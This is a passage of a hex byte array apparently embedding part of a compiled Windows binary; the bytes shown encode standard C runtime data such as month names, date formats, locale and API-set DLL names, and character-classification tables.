0x00, 0x00, 0x4a, 0x00, 0x75, 0x00, + 0x6c, 0x00, 0x00, 0x00, 0x41, 0x00, 0x75, 0x00, 0x67, 0x00, 0x00, 0x00, + 0x53, 0x00, 0x65, 0x00, 0x70, 0x00, 0x00, 0x00, 0x4f, 0x00, 0x63, 0x00, + 0x74, 0x00, 0x00, 0x00, 0x4e, 0x00, 0x6f, 0x00, 0x76, 0x00, 0x00, 0x00, + 0x44, 0x00, 0x65, 0x00, 0x63, 0x00, 0x00, 0x00, 0x4a, 0x00, 0x61, 0x00, + 0x6e, 0x00, 0x75, 0x00, 0x61, 0x00, 0x72, 0x00, 0x79, 0x00, 0x00, 0x00, + 0x46, 0x00, 0x65, 0x00, 0x62, 0x00, 0x72, 0x00, 0x75, 0x00, 0x61, 0x00, + 0x72, 0x00, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x4d, 0x00, 0x61, 0x00, 0x72, 0x00, 0x63, 0x00, 0x68, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x70, 0x00, 0x72, 0x00, 0x69, 0x00, + 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4a, 0x00, 0x75, 0x00, + 0x6e, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x4a, 0x00, 0x75, 0x00, 0x6c, 0x00, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x75, 0x00, 0x67, 0x00, 0x75, 0x00, + 0x73, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x53, 0x00, 0x65, 0x00, + 0x70, 0x00, 0x74, 0x00, 0x65, 0x00, 0x6d, 0x00, 0x62, 0x00, 0x65, 0x00, + 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4f, 0x00, 0x63, 0x00, + 0x74, 0x00, 0x6f, 0x00, 0x62, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x00, + 0x4e, 0x00, 0x6f, 0x00, 0x76, 0x00, 0x65, 0x00, 0x6d, 0x00, 0x62, 0x00, + 0x65, 0x00, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x44, 0x00, 0x65, 0x00, 0x63, 0x00, 0x65, 0x00, 0x6d, 0x00, 0x62, 0x00, + 0x65, 0x00, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x4d, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x50, 0x00, 0x4d, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x4d, 0x00, 0x4d, 0x00, 0x2f, 0x00, 0x64, 0x00, + 0x64, 0x00, 0x2f, 0x00, 0x79, 0x00, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x64, 0x00, 0x64, 0x00, 0x64, 0x00, 0x64, 0x00, + 0x2c, 0x00, 0x20, 0x00, 0x4d, 0x00, 0x4d, 0x00, 0x4d, 0x00, 0x4d, 0x00, + 0x20, 0x00, 0x64, 0x00, 0x64, 0x00, 0x2c, 0x00, 0x20, 0x00, 0x79, 0x00, + 0x79, 0x00, 0x79, 0x00, 0x79, 0x00, 0x00, 0x00, 0x48, 0x00, 0x48, 0x00, + 0x3a, 0x00, 0x6d, 0x00, 0x6d, 0x00, 0x3a, 0x00, 0x73, 0x00, 0x73, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, + 0x2d, 0x00, 0x55, 0x00, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x60, 0x42, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xa0, 0x31, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xa0, 0x42, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xe0, 0x42, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x30, 0x43, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x90, 0x43, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xe0, 0x43, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xe0, 0x31, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x20, 0x44, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x60, 0x44, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xa0, 0x44, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xe0, 0x44, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x30, 0x45, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x90, 0x45, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xe0, 0x45, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x30, 0x46, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x20, 0x32, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x48, 0x46, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x60, 0x46, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xa8, 0x46, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x61, 0x00, 0x70, 0x00, 0x69, 0x00, 0x2d, 0x00, + 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, + 0x2d, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x65, 0x00, 0x2d, 0x00, + 0x64, 0x00, 0x61, 0x00, 0x74, 0x00, 0x65, 0x00, 0x74, 0x00, 0x69, 0x00, + 0x6d, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x6c, 0x00, 0x31, 0x00, 0x2d, 0x00, + 0x31, 0x00, 0x2d, 0x00, 0x31, 0x00, 0x00, 0x00, 0x61, 0x00, 0x70, 0x00, + 0x69, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x77, 0x00, + 0x69, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, + 0x65, 0x00, 0x2d, 0x00, 0x66, 0x00, 0x69, 0x00, 0x6c, 0x00, 0x65, 0x00, + 0x2d, 0x00, 0x6c, 0x00, 0x31, 0x00, 0x2d, 0x00, 0x32, 0x00, 0x2d, 0x00, + 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x61, 0x00, 0x70, 0x00, 0x69, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x73, 0x00, + 0x2d, 0x00, 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x63, 0x00, + 0x6f, 0x00, 0x72, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x6c, 0x00, 0x6f, 0x00, + 0x63, 0x00, 0x61, 0x00, 0x6c, 0x00, 0x69, 0x00, 0x7a, 0x00, 0x61, 0x00, + 0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x6c, 0x00, + 0x31, 0x00, 0x2d, 0x00, 0x32, 0x00, 0x2d, 0x00, 0x31, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x70, 0x00, + 0x69, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x77, 0x00, + 0x69, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, + 0x65, 0x00, 0x2d, 0x00, 0x6c, 0x00, 0x6f, 0x00, 0x63, 0x00, 0x61, 0x00, + 0x6c, 0x00, 0x69, 0x00, 0x7a, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, + 0x6f, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x6f, 0x00, 0x62, 0x00, 0x73, 0x00, + 0x6f, 0x00, 0x6c, 0x00, 0x65, 0x00, 0x74, 0x00, 0x65, 0x00, 0x2d, 0x00, + 0x6c, 0x00, 0x31, 0x00, 0x2d, 0x00, 0x32, 0x00, 0x2d, 0x00, 0x30, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x70, 0x00, + 0x69, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x77, 0x00, + 0x69, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, + 0x65, 0x00, 0x2d, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x63, 0x00, + 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x74, 0x00, 0x68, 0x00, 0x72, 0x00, + 0x65, 0x00, 0x61, 0x00, 0x64, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x6c, 0x00, + 0x31, 0x00, 0x2d, 0x00, 0x31, 0x00, 0x2d, 0x00, 0x32, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x70, 0x00, 0x69, 0x00, 0x2d, 0x00, + 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, + 0x2d, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x65, 0x00, 0x2d, 0x00, + 0x73, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x67, 0x00, + 0x2d, 0x00, 0x6c, 0x00, 0x31, 0x00, 0x2d, 0x00, 0x31, 0x00, 0x2d, 0x00, + 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x70, 0x00, + 0x69, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x77, 0x00, + 0x69, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, + 0x65, 0x00, 0x2d, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00, 0x69, 0x00, + 0x6e, 0x00, 0x66, 0x00, 0x6f, 0x00, 0x2d, 0x00, 0x6c, 0x00, 0x31, 0x00, + 0x2d, 0x00, 0x32, 0x00, 0x2d, 0x00, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x61, 0x00, 0x70, 0x00, 0x69, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x73, 0x00, + 0x2d, 0x00, 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x63, 0x00, + 0x6f, 0x00, 0x72, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x77, 0x00, 0x69, 0x00, + 0x6e, 0x00, 0x72, 0x00, 0x74, 0x00, 0x2d, 0x00, 0x6c, 0x00, 0x31, 0x00, + 0x2d, 0x00, 0x31, 0x00, 0x2d, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x70, 0x00, 0x69, 0x00, 0x2d, 0x00, + 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, + 0x2d, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x65, 0x00, 0x2d, 0x00, + 0x78, 0x00, 0x73, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, 0x00, 0x65, 0x00, + 0x2d, 0x00, 0x6c, 0x00, 0x32, 0x00, 0x2d, 0x00, 0x31, 0x00, 0x2d, 0x00, + 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x70, 0x00, + 0x69, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x77, 0x00, + 0x69, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x72, 0x00, 0x74, 0x00, 0x63, 0x00, + 0x6f, 0x00, 0x72, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x6e, 0x00, 0x74, 0x00, + 0x75, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x77, 0x00, + 0x69, 0x00, 0x6e, 0x00, 0x64, 0x00, 0x6f, 0x00, 0x77, 0x00, 0x2d, 0x00, + 0x6c, 0x00, 0x31, 0x00, 0x2d, 0x00, 0x31, 0x00, 0x2d, 0x00, 0x30, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x70, 0x00, 0x69, 0x00, 0x2d, 0x00, + 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, + 0x2d, 0x00, 0x73, 0x00, 0x65, 0x00, 0x63, 0x00, 0x75, 0x00, 0x72, 0x00, + 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x2d, 0x00, 0x73, 0x00, 0x79, 0x00, + 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x6d, 0x00, 0x66, 0x00, 0x75, 0x00, + 0x6e, 0x00, 0x63, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, + 0x73, 0x00, 0x2d, 0x00, 0x6c, 0x00, 0x31, 0x00, 0x2d, 0x00, 0x31, 0x00, + 0x2d, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x78, 0x00, 0x74, 0x00, 0x2d, 0x00, + 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, + 0x2d, 0x00, 0x6e, 0x00, 0x74, 0x00, 0x75, 0x00, 0x73, 0x00, 0x65, 0x00, + 0x72, 0x00, 0x2d, 0x00, 0x64, 0x00, 0x69, 0x00, 0x61, 0x00, 0x6c, 0x00, + 0x6f, 0x00, 0x67, 0x00, 0x62, 0x00, 0x6f, 0x00, 0x78, 0x00, 0x2d, 0x00, + 0x6c, 0x00, 0x31, 0x00, 0x2d, 0x00, 0x31, 0x00, 0x2d, 0x00, 0x30, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x65, 0x00, 0x78, 0x00, 0x74, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x73, 0x00, + 0x2d, 0x00, 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x6e, 0x00, + 0x74, 0x00, 0x75, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x2d, 0x00, + 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x64, 0x00, 0x6f, 0x00, 0x77, 0x00, + 0x73, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, + 0x6e, 0x00, 0x2d, 0x00, 0x6c, 0x00, 0x31, 0x00, 0x2d, 0x00, 0x31, 0x00, + 0x2d, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x64, 0x00, + 0x76, 0x00, 0x61, 0x00, 0x70, 0x00, 0x69, 0x00, 0x33, 0x00, 0x32, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6e, 0x00, 0x74, 0x00, + 0x64, 0x00, 0x6c, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x70, 0x00, + 0x69, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x77, 0x00, + 0x69, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x61, 0x00, 0x70, 0x00, 0x70, 0x00, + 0x6d, 0x00, 0x6f, 0x00, 0x64, 0x00, 0x65, 0x00, 0x6c, 0x00, 0x2d, 0x00, + 0x72, 0x00, 0x75, 0x00, 0x6e, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6d, 0x00, + 0x65, 0x00, 0x2d, 0x00, 0x6c, 0x00, 0x31, 0x00, 0x2d, 0x00, 0x31, 0x00, + 0x2d, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0x00, 0x73, 0x00, + 0x65, 0x00, 0x72, 0x00, 0x33, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x65, 0x00, 0x78, 0x00, 0x74, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x73, 0x00, + 0x2d, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x41, 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x41, 0x70, 0x69, 0x73, 0x41, + 0x4e, 0x53, 0x49, 0x00, 0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x10, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, + 0x07, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, + 0x10, 0x00, 0x00, 0x00, 0x4c, 0x43, 0x4d, 0x61, 0x70, 0x53, 0x74, 0x72, + 0x69, 0x6e, 0x67, 0x45, 0x78, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, + 0x10, 0x00, 0x00, 0x00, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x4e, 0x61, + 0x6d, 0x65, 0x54, 0x6f, 0x4c, 0x43, 0x49, 0x44, 0x00, 0x00, 0x00, 0x00, + 0x12, 0x00, 0x00, 0x00, 0x41, 0x70, 0x70, 0x50, 0x6f, 0x6c, 0x69, 0x63, + 0x79, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x54, + 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4d, 0x65, + 0x74, 0x68, 0x6f, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x20, 0x00, + 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, + 0x20, 0x00, 0x28, 0x00, 0x28, 0x00, 0x28, 0x00, 0x28, 0x00, 0x28, 0x00, + 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, + 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, + 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, + 0x48, 0x00, 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, + 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, + 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, 0x84, 0x00, 0x84, 0x00, + 0x84, 0x00, 0x84, 0x00, 0x84, 0x00, 0x84, 0x00, 0x84, 0x00, 0x84, 0x00, + 0x84, 0x00, 0x84, 0x00, 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, + 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, 0x81, 0x00, 0x81, 0x00, 0x81, 0x00, + 0x81, 0x00, 0x81, 0x00, 0x81, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, + 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, + 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, + 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x10, 0x00, + 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, 0x82, 0x00, + 0x82, 0x00, 0x82, 0x00, 0x82, 0x00, 0x82, 0x00, 0x82, 0x00, 0x02, 0x00, + 0x02, 0x00, 0x02, 0x00, 0x02, 0x00, 0x02, 0x00, 0x02, 0x00, 0x02, 0x00, + 0x02, 0x00, 0x02, 0x00, 0x02, 0x00, 0x02, 0x00, 0x02, 0x00, 0x02, 0x00, + 0x02, 0x00, 0x02, 0x00, 0x02, 0x00, 0x02, 0x00, 0x02, 0x00, 0x02, 0x00, + 0x02, 0x00, 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, 0x20, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, + 0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f, 0x90, 0x91, 0x92, 0x93, + 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9a, 0x9b, 0x9c, 0x9d, 0x9e, 0x9f, + 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 0xa8, 0xa9, 0xaa, 0xab, + 0xac, 0xad, 0xae, 0xaf, 0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7, + 0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf, 0xc0, 0xc1, 0xc2, 0xc3, + 0xc4, 0xc5, 0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf, + 0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7, 0xd8, 0xd9, 0xda, 0xdb, + 0xdc, 0xdd, 0xde, 0xdf, 0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7, + 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef, 0xf0, 0xf1, 0xf2, 0xf3, + 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff, + 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, + 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, + 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23, + 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f, + 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x3b, + 0x3c, 0x3d, 0x3e, 0x3f, 0x40, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, + 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73, + 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f, + 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b, + 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, + 0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f, 0x80, 0x81, 0x82, 0x83, + 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8a, 